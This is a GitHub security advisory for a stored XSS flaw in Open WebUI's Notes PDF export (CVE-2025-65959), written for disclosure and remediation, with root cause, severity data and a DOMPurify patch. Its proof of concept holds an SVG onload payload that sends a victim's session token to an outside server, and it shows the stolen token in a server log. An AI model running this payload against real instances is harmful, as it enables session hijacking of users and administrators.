ghsa-8wvc-869r-xfqf
Vulnerability from github
Summary
A Stored XSS vulnerability has been discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF.
This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.
Details
Vulnerability Location
File: src/lib/components/notes/utils.ts
Function: downloadPdf()
Vulnerable Code (Line 35):
```typescript const contentNode = document.createElement('div');
contentNode.innerHTML = html; // Direct assignment without DOMPurify sanitization
node.appendChild(contentNode); document.body.appendChild(node); ```
Root Cause
- Incomplete TipTap Editor Configuration
- Open-WebUI only uses TipTap StarterKit
- No Schema definition for dangerous tags like SVG, Script
-
Unknown HTML tags are stored as raw HTML
-
Missing Sanitization During PDF Generation
note.data.content.htmlis directly assigned toinnerHTML- No DOMPurify or other sanitization
- Stored malicious HTML executes as-is
PoC
Environment
- Open-WebUI latest version (v0.6.36)
- Admin account
Step 1: Create Malicious Markdown File
Filename: token_stealer.md
markdown
<svg onload="navigator.sendBeacon('https://redacted/steal',localStorage.token)"></svg>
navigator.sendBeacon() was used to bypass CORS.
Step 2: Import to Notes
- Login to Open-WebUI
- Click "Notes" in the left menu
- Drag and drop the Markdown file
- Note is automatically created
Step 3: Trigger PDF Download
- Access Notes menu (/notes)
- Click ⋯ on the right side of the uploaded note
- Select "Download" → "PDF document (.pdf)"
- JavaScript executes
Step 4: Verify Token Theft
Attacker's server log: ```http POST /steal HTTP/1.1 Host: redacted Content-Type: text/plain;charset=UTF-8 Content-Length: 145
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ib_hIG4LayFw ```
And Simple PoC alert(1)
Filename: simple_poc.md
markdown
<svg onload="alert(1)"></svg>
Impact
CVSS 3.1 Score: 8.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Vulnerability Type
CWE-79: Cross-site Scripting (XSS)
CWE-116: Improper Encoding or Escaping of Output
Affected Users
- All Open-WebUI users
- Especially users utilizing the Notes feature
Attack Scenario
1. Attacker shares malicious note (.md file) in the community
2. Victim uploads the shared note (.md file)
3. Victim downloads as PDF
4. XSS vulnerability triggers
5. Victim's session (localStorage.token) is stolen
Recommended Patch
```typescript // src/lib/components/notes/utils.ts:35 import DOMPurify from 'dompurify';
const contentNode = document.createElement('div');
// Sanitize with DOMPurify contentNode.innerHTML = DOMPurify.sanitize(html, { ALLOWED_TAGS: [ 'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead', 'tbody', 'tr', 'td', 'th' ], ALLOWED_ATTR: ['href', 'class', 'target'], FORBID_TAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'], FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'], ALLOW_DATA_ATTR: false });
node.appendChild(contentNode); ```
References
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- DOMPurify: https://github.com/cure53/DOMPurify
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.36"
},
"package": {
"ecosystem": "npm",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.37"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65959"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-04T22:03:24Z",
"nvd_published_at": "2025-12-04T21:16:08Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA **Stored XSS vulnerability** has been discovered in Open-WebUI\u0027s Notes PDF download functionality. \nAn attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to **execute arbitrary JavaScript code** and **steal session tokens** when a victim downloads the note as PDF. \n\nThis vulnerability can be exploited by **any authenticated user**, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.\n\n## Details\n\n### Vulnerability Location\n\n**File:** `src/lib/components/notes/utils.ts` \n**Function:** `downloadPdf()` \n**Vulnerable Code (Line 35):**\n\n```typescript\nconst contentNode = document.createElement(\u0027div\u0027);\n\ncontentNode.innerHTML = html; // Direct assignment without DOMPurify sanitization\n\nnode.appendChild(contentNode);\ndocument.body.appendChild(node);\n```\n\n### Root Cause\n\n1. **Incomplete TipTap Editor Configuration**\n - Open-WebUI only uses TipTap StarterKit\n - No Schema definition for dangerous tags like SVG, Script\n - Unknown HTML tags are stored as raw HTML\n \n2. **Missing Sanitization During PDF Generation**\n - `note.data.content.html` is directly assigned to `innerHTML`\n - No DOMPurify or other sanitization\n - Stored malicious HTML executes as-is\n\n\n## PoC\n\n### Environment\n- Open-WebUI latest version (v0.6.36)\n- Admin account\n\n### Step 1: Create Malicious Markdown File\n\n**Filename:** `token_stealer.md`\n\n```markdown\n\u003csvg onload=\"navigator.sendBeacon(\u0027https://redacted/steal\u0027,localStorage.token)\"\u003e\u003c/svg\u003e\n```\n\u003e navigator.sendBeacon() was used to bypass CORS.\n\n### Step 2: Import to Notes\n\n1. Login to Open-WebUI\n2. Click **\"Notes\"** in the left menu\n3. **Drag and drop** the Markdown file\n4. Note is automatically created\n\n### Step 3: Trigger PDF Download\n\n1. Access Notes menu (/notes)\n2. Click **\u22ef** on the right side of the uploaded note\n3. Select **\"Download\"** \u2192 **\"PDF document (.pdf)\"**\n4. JavaScript executes\n\n### Step 4: Verify Token Theft\n\n**Attacker\u0027s server log:**\n```http\nPOST /steal HTTP/1.1\nHost: redacted\nContent-Type: text/plain;charset=UTF-8\nContent-Length: 145\n\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ib_hIG4LayFw\n```\n\n### And Simple PoC `alert(1)`\n**Filename:** `simple_poc.md`\n\n```markdown\n\u003csvg onload=\"alert(1)\"\u003e\u003c/svg\u003e\n```\n\u003cimg width=\"1089\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ded7bb4a-d0e0-4614-8d64-3113c1f79e2f\" /\u003e\n\n\n---\n\n## Impact\n\n**CVSS 3.1 Score: 8.7 (High)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N\n```\n\n### Vulnerability Type\n**CWE-79: Cross-site Scripting (XSS)** \n**CWE-116: Improper Encoding or Escaping of Output**\n\n### Affected Users\n- **All Open-WebUI users**\n- Especially users utilizing the Notes feature\n\n### Attack Scenario\n```\n1. Attacker shares malicious note (.md file) in the community\n2. Victim uploads the shared note (.md file)\n3. Victim downloads as PDF\n4. XSS vulnerability triggers\n5. Victim\u0027s session (localStorage.token) is stolen\n```\n\n---\n\n## Recommended Patch\n\n```typescript\n// src/lib/components/notes/utils.ts:35\nimport DOMPurify from \u0027dompurify\u0027;\n\nconst contentNode = document.createElement(\u0027div\u0027);\n\n// Sanitize with DOMPurify\ncontentNode.innerHTML = DOMPurify.sanitize(html, {\n ALLOWED_TAGS: [\n \u0027p\u0027, \u0027br\u0027, \u0027strong\u0027, \u0027em\u0027, \u0027u\u0027, \u0027h1\u0027, \u0027h2\u0027, \u0027h3\u0027, \u0027h4\u0027, \u0027h5\u0027, \u0027h6\u0027,\n \u0027ul\u0027, \u0027ol\u0027, \u0027li\u0027, \u0027a\u0027, \u0027code\u0027, \u0027pre\u0027, \u0027blockquote\u0027, \u0027table\u0027, \u0027thead\u0027,\n \u0027tbody\u0027, \u0027tr\u0027, \u0027td\u0027, \u0027th\u0027\n ],\n ALLOWED_ATTR: [\u0027href\u0027, \u0027class\u0027, \u0027target\u0027],\n FORBID_TAGS: [\u0027svg\u0027, \u0027script\u0027, \u0027iframe\u0027, \u0027object\u0027, \u0027embed\u0027, \u0027style\u0027],\n FORBID_ATTR: [\u0027onload\u0027, \u0027onerror\u0027, \u0027onclick\u0027, \u0027onmouseover\u0027, \u0027onfocus\u0027],\n ALLOW_DATA_ATTR: false\n});\n\nnode.appendChild(contentNode);\n```\n\n---\n\n## References\n\n- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n- DOMPurify: https://github.com/cure53/DOMPurify\n\n---",
"id": "GHSA-8wvc-869r-xfqf",
"modified": "2025-12-04T22:03:24Z",
"published": "2025-12-04T22:03:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8wvc-869r-xfqf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65959"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/commit/03cc6ce8eb5c055115406e2304fbf7e3338b8dce"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI Vulnerable to Stored DOM XSS via Note \u0027Download PDF\u0027"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.